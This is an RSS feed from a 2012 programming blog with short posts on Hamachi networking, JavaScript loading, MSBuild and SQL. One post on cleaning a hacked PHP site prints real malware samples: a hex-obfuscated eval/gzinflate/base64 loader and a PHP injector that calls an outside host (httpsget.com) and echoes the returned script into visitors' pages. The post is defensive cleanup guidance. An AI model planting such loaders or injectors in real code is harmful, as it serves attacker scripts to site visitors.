<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Light blog</title>
	<atom:link href="http://awake.ro/lightblog/feed" rel="self" type="application/rss+xml" />
	<link>http://awake.ro/lightblog</link>
	<description>Self Programming</description>
	<lastBuildDate>Sun, 06 May 2012 14:29:37 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Hamachi Windows 7 lan priority</title>
		<link>http://awake.ro/lightblog/hamachi-windows-7-lan-priority.html</link>
		<comments>http://awake.ro/lightblog/hamachi-windows-7-lan-priority.html#comments</comments>
		<pubDate>Sun, 06 May 2012 14:26:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Games]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://awake.ro/lightblog/?p=138</guid>
		<description><![CDATA[greetings to: http://www.arcengames.com/forums/index.php?topic=2055.0 Problem Unable to connect to other games with Hamachi on Windows 7, and everything else is set as accordingly (port forwarded, firewall exceptions, etc.). In interest, I upgraded from Vista Ultimate X64 to Windows 7 Ultimate X64. I have a router that is properly configured, and of which Hamachi was functioning properly [...]]]></description>
			<content:encoded><![CDATA[<p>greetings to: http://www.arcengames.com/forums/index.php?topic=2055.0</p>
<p>Problem</p>
<p>Unable to connect to other games with Hamachi on Windows 7, and everything else is set as accordingly (port forwarded, firewall exceptions, etc.).</p>
<p>In interest, I upgraded from Vista Ultimate X64 to Windows 7 Ultimate X64.  I have a router that is properly configured, and of which Hamachi was functioning properly prior to the upgrade.</p>
<p>Solution</p>
<p>The problem apparently is something to do with the way Windows 7 broadcasts packets&#8211;basically, something to do with &#8220;Interface metric&#8221;.  Please see below for the lore and solution.</p>
<p>http://logmeinwiki.com/wiki/Hamachi:Gaming_over_Hamachi</p>
<p>    * Windows 7 Notes (RC7100)</p>
<p>Windows 7 appears to send broadcast packets (packets destined for 255.255.255.255) out the interface associated with the broadcast route having the lowest metric. It does this regardless of the order of the interfaces in the &#8220;Advanced Settings&#8221; menu. If there is more than one broadcast route with the same metric, it sends it out the first one. NOTE: When a new interface comes up, it&#8217;s broadcast route gets added to the end of the list. Broadcast routes are the last routes listed in the route list produced with the &#8216;route print&#8217; command. To summarize, here is how it chooses which interface to send packets destined for 255.255.255.255:</p>
<p>   1. It looks at the metrics associated with all &#8220;255.255.255.255 mask 255.255.255.255&#8243; routes. If one is lower than all the others, it sends the packet out that interface.<br />
   2. If there is &#8220;tie&#8221; for the lowest metric, it sends it out the first one in the tie.</p>
<p>The metric associated with the Hamachi broadcast route can be lowered to be the lowest in the list of broadcast routes when running Hamachi 2 (tested with 2.0.1.64). By default, Hamachi installs with a metric of &#8217;9000&#8242; associated with it&#8217;s interface. In Windows 7, if you change the metric to &#8217;1&#8242; you&#8217;ll end up a metric of 257 associated with these routes (256 + &#8217;1&#8242;). This will be lower than the default LAN interface metric and broadcast packets will now go out the Hamachi interface. NOTE: This is only affecting broadcast packets.</p>
<p>This shouldn&#8217;t interfere with or affect any of your other network connections &#8211; but use at your own risk.</p>
<p>   1. Go to the properties of the Hamachi adapter<br />
   2. Select &#8216;Internet Protocol Version 4) and click &#8216;Properties&#8217;<br />
   3. Click &#8216;Advanced&#8217;<br />
   4. Change the &#8216;Interface metric&#8217; at the very bottom from 9000 to 1<br />
   5. Disable and re-enable the interface (or reboot)</p>
<p>If you look at the route list now (&#8216;route print&#8217;) you should see the broadcast route associated with the Hamachi interface now has a metric lower than any of the other broadcast routes. Broadcast packets will now go out the Hamachi interface.</p>
<p>Quick Solution</p>
<p>http://rp-mods.com/Forum/wbb/hardware-software/6071-hamachi-network-fix/</p>
<p>    Change the Interface Metric for Hamachi:</p>
<p>        * Start -> &#8220;run&#8221;<br />
        * &#8220;ncpa.cpl&#8221; then ENTER.<br />
        * Right click on &#8220;Hamachi&#8221; and PROPERTIES<br />
        * Deactivate &#8220;Internetprotocol Version 6 (TCP/IPv6)&#8221;<br />
        * &#8220;Internetprotocol Version 4 (TCP/IPv4)&#8221; -> PROPERTIES -> Advanced<br />
        * Interface metric to &#8220;10&#8243;.<br />
        * Hamachi Gateway 5.0.0.1 Metric to &#8220;1500&#8243;.</p>
<p>Remember to also have your Hamachi set as the foremost network to use after an upgrade/clean install.</p>
<p>    Change the Priority of Hamachi Adapter</p>
<p>    * Start -> &#8220;run&#8221;<br />
    * &#8220;ncpa.cpl&#8221; then ENTER.<br />
    * Press [ALT]-Key (Menu appears)<br />
    * Advanced -> Advanced Properties<br />
    * Move Hamachi to the top of the list<br />
    * Restart PC.</p>
<p>Hope it works for you&#8211;took me heck of a long time Googling in discovering this.  If not&#8230; hopefully Hamachi developers are working on a universal solution to compatibility issues with Windows 7, even though they say it is compatible with the OS.</p>
]]></content:encoded>
			<wfw:commentRss>http://awake.ro/lightblog/hamachi-windows-7-lan-priority.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>forms of website hacking php</title>
		<link>http://awake.ro/lightblog/forms-of-website-hacking-php.html</link>
		<comments>http://awake.ro/lightblog/forms-of-website-hacking-php.html#comments</comments>
		<pubDate>Wed, 28 Mar 2012 12:28:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://awake.ro/lightblog/?p=136</guid>
		<description><![CDATA[If you realize that your php web site has been hacked, which most likely is a result of trojans on your computer, first scan your computer with an anti-malware, then follow these steps: 1.) verify if .htaccess file was modified to allow access to other files with malicious scripts. 2.) verify if there is some [...]]]></description>
			<content:encoded><![CDATA[<p>If you realize that your php web site has been hacked, which most likely is a result of trojans on your computer, first scan your computer with an anti-malware, then follow these steps:</p>
<p>1.) verify if .htaccess file was modified to allow access to other files with malicious scripts.</p>
<p>2.) verify if there is some hard to read code in any of your php files. For example:</p>

<div class="wp_syntax"><div class="code"><div class="php" style="font-family:monospace;"><span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/.*/e&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\x76</span><span style="color: #660099; font-weight: bold;">\x61</span><span style="color: #660099; font-weight: bold;">\x6C</span><span style="color: #660099; font-weight: bold;">\x28</span><span style="color: #660099; font-weight: bold;">\x67</span><span style="color: #660099; font-weight: bold;">\x7A</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x6E</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x6C</span><span style="color: #660099; font-weight: bold;">\x61</span><span style="color: #660099; font-weight: bold;">\x74</span><span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\x28</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\x61</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\x36</span><span style="color: #660099; font-weight: bold;">\x34</span><span style="color: #660099; font-weight: bold;">\x5F</span><span style="color: #660099; font-weight: bold;">\x64</span><span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\x63</span><span style="color: #660099; font-weight: bold;">\x6F</span><span style="color: #660099; font-weight: bold;">\x64</span><span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\x28</span>' ..here goes some base 64 encoded gziped content .. &nbsp;'<span style="color: #660099; font-weight: bold;">\x29</span><span style="color: #660099; font-weight: bold;">\x29</span><span style="color: #660099; font-weight: bold;">\x29</span><span style="color: #660099; font-weight: bold;">\x3B</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div></div>

<p>which stands for :</p>

<div class="wp_syntax"><div class="code"><div class="php" style="font-family:monospace;"><span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">gzinflate</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' ..... '</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span></div></div></div>

<p>3.) verify if there is a java script which is not yours, included in your files. For example, i found this code in a file:</p>

<div class="wp_syntax"><div class="code"><div class="php" style="font-family:monospace;"><span style="color: #000088;">$wp_rssh</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'http'</span><span style="color: #339933;">;</span> <span style="color: #000088;">$wp_gt</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'get'</span><span style="color: #339933;">;</span><br />
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #990000;">ini_set</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'display_errors'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$wp_uagent</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_USER_AGENT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">preg_match</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/Firefox|MSIE/i'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$wp_uagent</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">preg_match</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/ NT/i'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$wp_uagent</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_X_FORWARDED_FOR'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_VIA'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$wp_gturl</span><span style="color: #339933;">=</span><span style="color: #000088;">$wp_rssh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;://&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_rssh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;s&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_gt</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.com/&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_gt</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/?ip=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REMOTE_ADDR'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;referer=&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">urlencode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_HOST'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;ua=&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">urlencode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$wp_uagent</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$wp_cntnt</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$wp_gturl</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$wp_cntnt</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #0000ff;">'scr'</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$wp_cntnt</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span></div></div></div>

<p>which gets the file content from a site, in this case:</p>
<p>http://httpsget.com/get/?ip=YOUR_SITE_IP&#038;referer=YOUR_SITE_DOMAIN&#038;ua=Mozilla%2F5.0+%28Windows+NT+5.1%3B+rv%3A11.0%29+Gecko%2F20100101+Firefox%2F11.0</p>
<p>If the result of the received content starts with <script  , then it will include that script.<br />
pretty smart <img src='http://awake.ro/lightblog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>4.) Also found this in another php file, not exactly sure, but probably a way to delete a file that was used as a back door into your server.</p>

<div class="wp_syntax"><div class="code"><div class="php" style="font-family:monospace;">&nbsp; &nbsp; <span style="color: #990000;">chmod</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'images/www.imdb.com/index.php'</span><span style="color: #339933;">,</span><span style="color: #208080;">0777</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #990000;">chmod</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'images/www.imdb.com/'</span><span style="color: #339933;">,</span><span style="color: #208080;">0777</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #990000;">unlink</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'images/www.imdb.com/index.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #990000;">rmdir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'images/www.imdb.com'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div></div>

<p>5.) Check  for external scripts in your database. If your database was compromised, then you should start to look for included scripts in the fields that store users posts, and proceed to clean them. These can either be done by adding a script reference such as <script src="..." , or a html tag with onclick attribute that links to an external site, and so on.</p>
<p>As for precautions to take in order to secure your site, here are some of them listed:</p>
<p>1. Ensure that all database configurations for your account are using a custom generated user and password combination and that this information is not stored in plain text if at all possible.<br />
2. Do not ever use your cPanel username and password to access your databases for your site as that is an extreme security risk.<br />
3. Ensure that all scripts (such as WordPress, Joomla!, Drupal and the like), plugins/modules/components are updated to the most recent released version as new versions are released primarily to address known security vulnerabilities in these scripts.<br />
4. Change the permissions for all configuration files (such as wp-config.php or configuration.php) to 600 or 400 (either read only for the user only, or read and write for the user only), that way the file is only readable and editable for the user.<br />
5. Disable any and all plugins that you are not using and/or are not critical to your site. Plugins that you're not using can lead to compromises later as they are likely to be forgotten and thus not updated and can also lead to resource issues with your site as well.<br />
6. If you have an images directory, add this code to the .htaccess in there to prevent execution of scripts in that directory, as malware is often added in there:<br />
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi<br />
Options -ExecCGI<br />
7. Make sure your SQL can not be injected.<br />
8. Filter user posts, either when uploaded, or when displayed.</p>
]]></content:encoded>
			<wfw:commentRss>http://awake.ro/lightblog/forms-of-website-hacking-php.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java Script Load scripts dynamic</title>
		<link>http://awake.ro/lightblog/java-script-load-scripts-dynamic.html</link>
		<comments>http://awake.ro/lightblog/java-script-load-scripts-dynamic.html#comments</comments>
		<pubDate>Wed, 28 Mar 2012 04:30:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://awake.ro/lightblog/?p=131</guid>
		<description><![CDATA[Assuming you have an array of scripts which you want to dynamic include in page, but you also have to wait for them to load in a certain order, so that a script like Jquery to be available to the next loaded scripts, then you can use this approach: &#60;div id = &#34;footerJS&#34; style=&#34;display:none&#34;&#62; var [...]]]></description>
			<content:encoded><![CDATA[<p>Assuming you have an array of scripts which you want to dynamic include in page,<br />
but you also have to wait for them to load in a certain order, so that a script like Jquery to be available to the next loaded scripts, then you can use this approach:</p>

<div class="wp_syntax"><div class="code"><div class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>div id <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;footerJS&quot;</span> style<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;display:none&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #003366; font-weight: bold;">var</span> scriptIndex <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span><br />
<span style="color: #003366; font-weight: bold;">var</span> arrScripts <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #3366CC;">&quot;jquery.js&quot;</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;jquery-ui.js&quot;</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;myscript_using_jquery.js&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<span style="color: #003366; font-weight: bold;">var</span> jsTimeout <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #003366; font-weight: bold;">function</span> downloadJSAtOnload<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; jsTimeout <span style="color: #339933;">=</span> setTimeout<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'loadScriptElement()'</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">10</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #006600; font-style: italic;">// load scripts one by one, so jquery will be available for scripts that will use it</span><br />
<span style="color: #003366; font-weight: bold;">function</span> loadScriptElement<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; clearTimeout<span style="color: #009900;">&#40;</span>jsTimeout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; element <span style="color: #339933;">=</span> document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;script&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; element.<span style="color: #660066;">src</span> <span style="color: #339933;">=</span> arrScripts<span style="color: #009900;">&#91;</span>scriptIndex<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; element.<span style="color: #000066;">onload</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jsTimeout <span style="color: #339933;">=</span> setTimeout<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'loadScriptElement()'</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">10</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'footerJS'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>element<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; scriptIndex<span style="color: #339933;">++;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
&nbsp;<span style="color: #006600; font-style: italic;">// Check for browser support of event handling capability</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>window.<span style="color: #660066;">addEventListener</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; window.<span style="color: #660066;">addEventListener</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;load&quot;</span><span style="color: #339933;">,</span> downloadJSAtOnload<span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>window.<span style="color: #660066;">attachEvent</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; window.<span style="color: #660066;">attachEvent</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;onload&quot;</span><span style="color: #339933;">,</span> downloadJSAtOnload<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; window.<span style="color: #000066;">onload</span> <span style="color: #339933;">=</span> downloadJSAtOnload<span style="color: #339933;">;</span><br />
<span style="color: #339933;">&lt;/</span>div<span style="color: #339933;">&gt;</span></div></div></div>

]]></content:encoded>
			<wfw:commentRss>http://awake.ro/lightblog/java-script-load-scripts-dynamic.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resolving MSB3247 &#8211; Found conflicts between different versions of the same dependent assembly</title>
		<link>http://awake.ro/lightblog/resolving-msb3247-found-conflicts-between-different-versions-of-the-same-dependent-assembly.html</link>
		<comments>http://awake.ro/lightblog/resolving-msb3247-found-conflicts-between-different-versions-of-the-same-dependent-assembly.html#comments</comments>
		<pubDate>Fri, 24 Feb 2012 18:59:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ASP.NET]]></category>

		<guid isPermaLink="false">http://awake.ro/lightblog/?p=129</guid>
		<description><![CDATA[Change the &#8220;MSBuild project build output verbosity&#8221; to &#8220;Detailed&#8221; or above. To do this, follow these steps: 1.) Bring up the Tools/Options dialog (Tools->Options&#8230;). 2.) In the left-hand tree, select the Projects/Solutions node, and then select Build and Run. *** Note: if this node doesn&#8217;t show up, make sure that the checkbox at the bottom [...]]]></description>
			<content:encoded><![CDATA[<p>Change the &#8220;MSBuild project build output verbosity&#8221; to &#8220;Detailed&#8221; or above. To do this, follow these steps:</p>
<p>   1.) Bring up the Tools/Options dialog (Tools->Options&#8230;).<br />
   2.) In the left-hand tree, select the Projects/Solutions node, and then select Build and Run.<br />
       *** <strong>Note:</strong> if this node doesn&#8217;t show up, make sure that the checkbox at the bottom of the dialog (&#8220;Show all settings&#8221;) is checked.<br />
   3) In the tools/options page that appears, set the MSBuild project build output verbosity level to &#8220;Detailed&#8221; (assuming you&#8217;re on VS2010; &#8220;Normal&#8221; will suffice in VS2008 or older).<br />
   4) Build the project and look in the output window.</p>
]]></content:encoded>
			<wfw:commentRss>http://awake.ro/lightblog/resolving-msb3247-found-conflicts-between-different-versions-of-the-same-dependent-assembly.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress block trackback</title>
		<link>http://awake.ro/lightblog/wordpress-block-trackback.html</link>
		<comments>http://awake.ro/lightblog/wordpress-block-trackback.html#comments</comments>
		<pubDate>Wed, 22 Feb 2012 23:01:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://awake.ro/lightblog/?p=127</guid>
		<description><![CDATA[All those annoying sites trackback all kind of spam &#8230; You want to stop that? Easy, Turn off trackback and ping back from Admin Settings -> Discussion -> uncheck : Allow link notifications from other blogs (pingbacks and trackbacks.) . After this, to prevent the ping/trackback for existing posts, run this sql command: UPDATE wp_posts [...]]]></description>
			<content:encoded><![CDATA[<p>All those annoying sites trackback all kind of spam &#8230;<br />
You want to stop that?<br />
Easy,<br />
Turn off trackback and ping back from Admin<br />
Settings -> Discussion -><br />
uncheck : Allow link notifications from other blogs (pingbacks and trackbacks.) .<br />
After this, to prevent the ping/trackback for existing posts, run this sql command:</p>

<div class="wp_syntax"><div class="code"><div class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">UPDATE</span> wp_posts <span style="color: #993333; font-weight: bold;">SET</span> ping_status<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;closed&quot;</span><span style="color: #66cc66;">.</span></div></div></div>

<p>or &#8230; the hard way, edit all posts and disable pingback</p>
]]></content:encoded>
			<wfw:commentRss>http://awake.ro/lightblog/wordpress-block-trackback.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MSSQL Change Table Column name</title>
		<link>http://awake.ro/lightblog/mssql-change-table-column-name.html</link>
		<comments>http://awake.ro/lightblog/mssql-change-table-column-name.html#comments</comments>
		<pubDate>Wed, 22 Feb 2012 22:43:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Database]]></category>

		<guid isPermaLink="false">http://awake.ro/lightblog/?p=125</guid>
		<description><![CDATA[to change a column name in MSSQL, run this query: EXEC sp_rename 'Tablename.[currentColumn_Name]','NewColumnName','COLUMN']]></description>
			<content:encoded><![CDATA[<p>to change a column name in MSSQL, run this query:</p>

<div class="wp_syntax"><div class="code"><div class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">EXEC</span> sp_rename <span style="color: #ff0000;">'Tablename.[currentColumn_Name]'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'NewColumnName'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'COLUMN'</span></div></div></div>

]]></content:encoded>
			<wfw:commentRss>http://awake.ro/lightblog/mssql-change-table-column-name.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Table Ownership Change</title>
		<link>http://awake.ro/lightblog/sql-table-ownership-change.html</link>
		<comments>http://awake.ro/lightblog/sql-table-ownership-change.html#comments</comments>
		<pubDate>Tue, 21 Feb 2012 21:37:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Database]]></category>

		<guid isPermaLink="false">http://awake.ro/lightblog/?p=121</guid>
		<description><![CDATA[To change sql table owner from a name to dbo, use this sql: DECLARE @crtOwner sysname, @newOwner sysname, @SQL VARCHAR&#40;1000&#41; SELECT @crtOwner= 'currentOwner_ToChange', @newOwner = 'dbo' &#160; , @SQL = ' &#160; IF EXISTS (SELECT NULL FROM INFORMATION_SCHEMA.TABLES &#160; WHERE &#160; &#160; &#160; QUOTENAME(TABLE_SCHEMA)+''.''+QUOTENAME(TABLE_NAME) = ''?'' &#160; &#160; &#160; AND TABLE_SCHEMA = ''' + @crtOwner+ [...]]]></description>
			<content:encoded><![CDATA[<p>To change sql table owner from a name to dbo, use this sql:</p>

<div class="wp_syntax"><div class="code"><div class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">DECLARE</span> @crtOwner sysname<span style="color: #66cc66;">,</span> @newOwner sysname<span style="color: #66cc66;">,</span> @<span style="color: #993333; font-weight: bold;">SQL</span> <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">1000</span><span style="color: #66cc66;">&#41;</span><br />
<br />
<span style="color: #993333; font-weight: bold;">SELECT</span> @crtOwner<span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'currentOwner_ToChange'</span><span style="color: #66cc66;">,</span> @newOwner <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'dbo'</span><br />
&nbsp; <span style="color: #66cc66;">,</span> @<span style="color: #993333; font-weight: bold;">SQL</span> <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'<br />
